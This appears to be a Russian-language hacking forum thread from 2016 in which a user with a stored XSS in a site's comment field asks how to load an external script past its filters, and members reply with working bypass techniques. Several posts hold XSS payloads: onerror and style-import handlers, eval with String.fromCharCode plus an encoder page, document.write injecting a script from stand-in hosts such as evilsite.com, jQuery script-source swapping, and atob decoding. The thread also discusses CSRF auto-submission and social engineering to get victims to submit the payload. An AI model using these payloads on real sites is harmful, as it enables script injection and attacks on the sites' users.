Подгрузка js через XSS

Discussion in 'Песочница' started by bazaWT, 25 Aug 2016.

  1. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Привет всем, тестирую один сайт, в поле коментариев есть xss , нужно сделать подгрузку скрипта но такая конструкция фильтруется.,
    Code:
    <script src="https://site.ru/1234.js?"></script>
    . Как можно еще подгрузить скрипт ? Алерт выскакивает при
    Code:
    URL-redirect vuln == XSS ! Location:data:text/html,<svg/onload=alert(document.domain)>
    
    и
    
    new XMLHttpRequest().open("GET", "data:text/html,<svg onload=alert(/@irsdl/)></svg>", false); #firefox #datauri
     
  2. pas9x

    pas9x Elder - Старейшина

    Joined:
    13 Oct 2012
    Messages:
    423
    Likes Received:
    585
    Reputations:
    52
    Да как угодно. Закодируй любой скрипт в коды символов:
    Code:
    eval(String.fromCharCode(11,22,33))
    Кодировалка:
    Code:
    <html><body>
    
    <script type='text/javascript'>
    function encode() {
    var input = document.getElementById('input');
    var output = document.getElementById('output');
    var strIn = input.value;
    var codes = [];
    for (var j=0; j<strIn.length; j++) {
    codes.push(strIn.charCodeAt(j));
    }
    output.value = codes.join(',');
    }
    </script>
    
    <textarea id='input' cols='80' rows='8'>alert('lolz');</textarea><br><br>
    <input type='button' value='Encode' onclick='encode()'></input><br><br>
    <textarea id='output' cols='80' rows='8'></textarea>
    </body></html>
    
     
    bazaWT likes this.
  3. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Спасибо за совет . Но теперь другая проблема, алерт срабатывает когда вставляеш код скрипта в поле ( отправка режется фильтром) . Тоесть юзер должен сам скопировать код в поле коментариев , что не очень хорошо. Такой баг был в ВК недавно https://xakep.ru/2015/10/29/vk-emoji-bug/ . Я подумал возможно ли это обойти используя CSRF. Например вставить на своем сайте код формы коментариев с автоотправкой . Но не сработало. Кроме соц инжинерии вариантов нет ?
     
  4. pas9x

    pas9x Elder - Старейшина

    Joined:
    13 Oct 2012
    Messages:
    423
    Likes Received:
    585
    Reputations:
    52
    Вариантов полно. Тебе тут уже никто не скажет что конкретно надо делать. Надо просто брать и смотреть сайт, проверять на что реагируют фильтры и обходить их. Если яваскрипт там впринципе выполняется но как-то криво режется, то с большой степенью уверенности можно предположить, что фильтры обойти возможно. Надо просто хорошо уметь фронтенд-разработку.
     
  5. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Таргет в лс кинь, помогу(здесь потом напишу решение).
     
    _________________________
  6. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Помогите разобратся , не могу понять как подгрузить js если нету тегов <script , алерт срабатывает при других , при таких например
    Code:
    <img src=foo.png onerror=alert(/xssed/) />  
    <style>@import'javascript:alert("XSS")';</style>   
    Тоесть как раскрутить xss если использование <script > невозможно, во всех мануалах пишут примеры с алертом в тегах <style> , <IMG > , нигде нет как подгрузить js в таких XSS
     
  7. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    document.write, innerHTML
     
    _________________________
  8. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Code:
    тоесть как то так ?
    "><STYLE>document.write("</SCRiPT SRC="http://ha.7676ers.org/6565.js")><STYLE>
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    ну только через события, а не style
     
    _________________________
  10. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Можете набросать пример, что бы не было глупых вопросов, ?
     
  11. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    <img src=foo.png onerror=document.write(1) />
     
    _________________________
    bazaWT likes this.
  12. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Спасибо. Тоесть получается такой код
    Code:
    <img src=foo.png onerror=document.write(<script src="https://evilsite.com/1234.js?"></script>) />
    Но если фильтр режет <script> , то в таком коде он тоже его отфильтрует. А если закодировать и фильтр пропустит код как не опасный , то такой же закодироавный код должен работать и сам по себе . Тоесть остальные теги и события по сути не нужны будут . Так или я не понимаю что-то ?
     
  13. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Ты в конструкцию onerror можешь вставить хоть целую библиотеку. Не обязтаельно туда файл подгружать. То примерно так onerror="var i = 'Hellow world'; alert(i); ..... (тонна комманд)....", но если подгружены бибилотеки вроде JQuery то все еще проще $('script').attr('src', 'Меняешь путь на свой') - таким образом ты подгрузишь свой JS ВМЕСТО какого то на странице.
     
    _________________________
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    atob
     
    _________________________